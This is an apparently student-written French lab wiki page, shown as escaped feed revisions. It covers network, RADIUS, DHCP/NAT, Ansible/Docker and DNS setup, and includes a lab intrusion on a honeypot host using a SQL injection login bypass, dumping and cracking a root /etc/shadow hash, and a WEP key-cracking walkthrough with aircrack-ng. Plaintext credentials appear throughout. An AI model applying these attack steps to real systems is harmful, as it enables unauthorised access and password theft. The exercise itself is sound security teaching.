 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
===Architecture générale de la ferme===&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles, l'une sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA), l'autre sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (commande &amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt; avant de la relancer.&lt;br /&gt;
&lt;br /&gt;
'''Interfaces'''&lt;br /&gt;
&lt;br /&gt;
On associe l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt; à la VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;. Pour cela on l'ajoute dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.21 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on ajoute une interface dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.7&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.21&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mascarade'''&lt;br /&gt;
&lt;br /&gt;
On met en place une mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
'''Mise en place d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Inventaire'''&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
'''Playbook et roles'''&lt;br /&gt;
&lt;br /&gt;
On va créer plusieurs rôles qui seront lancés via un playbook (&amp;lt;code&amp;gt;/root/playbooks/&amp;lt;/code&amp;gt;). Chaque rôle à son propre sous-répertoire (&amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle permet de configurer le motd et le NTP. Il permet également d'installer les packages nécessaires.&lt;br /&gt;
&lt;br /&gt;
===Installation de &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
On installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; par l'intermédiaire du playbook sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;. Pour cela on utilise un rôle déjà créé par &amp;lt;code&amp;gt;geerlingguy&amp;lt;/code&amp;gt;. Les variables docker_&amp;lt;code&amp;gt;apt_gpg_key&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker_apt_repository&amp;lt;/code&amp;gt; permettent que le rôle se comporte comme si la VM est sous debian version buster.&lt;br /&gt;
&lt;br /&gt;
'''Playbook &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot; &lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
On met en place un conteneur qui contient notre site web et démarre apache2 sur le port 80.&lt;br /&gt;
En premier lieu on installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec &amp;lt;code&amp;gt;wget get.docker.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Dockerfile'''&lt;br /&gt;
&lt;br /&gt;
Il faut ensuite réaliser un &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt; toujours sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; :&lt;br /&gt;
 FROM httpd:latest&lt;br /&gt;
 MAINTAINER NourClara&lt;br /&gt;
 COPY ./index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;index.html&amp;lt;/code&amp;gt; dans lequel se trouve le contenu du site web doit se trouver dans le même répertoire que le &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Construction et lancement de l'image docker'''&lt;br /&gt;
&lt;br /&gt;
 docker build -t webserver .&lt;br /&gt;
On aurait pu mettre girolle au lieu de webserver par exemple.&lt;br /&gt;
 docker run -d webserver&lt;br /&gt;
&lt;br /&gt;
On vérifie que l'image est construite et lancée correctement avec les commandes &amp;lt;code&amp;gt;docker images&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker ps -a&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Dépôt docker local''' &lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on installe un dépôt local qui accueillera notre image docker.&lt;br /&gt;
 docker run -d -p 5000:5000 --restart always --name registry registry:2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''Autorisation d'un dépôt non sécurisé'''&lt;br /&gt;
&lt;br /&gt;
Par défaut, la connexion se fait en HTTPS. Comme ici les différents dépôts ne sont pas sécurisés, on doit autoriser la connexion en HTTP. Pour cela, on ajoute un fichier deamon.json sur nos deux machines dans &amp;lt;code&amp;gt;/etc/docker/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 {&lt;br /&gt;
   &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.2:5000&amp;quot;, &amp;quot;192.168.42.4:5000&amp;quot;, &amp;quot;192.168.42.5:5000&amp;quot;, &amp;quot;192.168.42.7:5000&amp;quot;, &amp;quot;192.168.42.9:5000&amp;quot;, &amp;quot;192.168.42.12:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
Puis &amp;lt;code&amp;gt;service docker restart&amp;lt;/code&amp;gt; pour que le changement soit pris en compte.&lt;br /&gt;
&lt;br /&gt;
'''Exportation depuis &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; vers la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker tag webserver 192.168.42.7:5000/webserver&lt;br /&gt;
 docker push 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
'''Récupération de l'image docker dans &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker pull 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs internes===&lt;br /&gt;
&lt;br /&gt;
Pour déployer notre conteneur web automatiquement sur toutes les VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; on crée un nouveau rôle. On utilise le port qui nous est alloué : le 8087.&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; contenant un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : deployer sur les VMs&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: site&lt;br /&gt;
           image: 192.168.42.7:5000/webserver&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;8087:80&amp;quot;  &lt;br /&gt;
&amp;lt;code&amp;gt;image&amp;lt;/code&amp;gt; : là où se trouve notre serveur web à déployer (sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le playbook on crée une seconde partie avec pour hôte &amp;lt;code&amp;gt;webinterne&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
'''Playbook complet &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot;    &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 - name: Deploiement&lt;br /&gt;
   hosts: webinterne&lt;br /&gt;
   roles:&lt;br /&gt;
      - deployer&lt;br /&gt;
&lt;br /&gt;
===Équilibreur de charge (load balancer)===&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55011</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55011"/>
				<updated>2020-12-18T22:44:26Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Ferme de serveurs web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
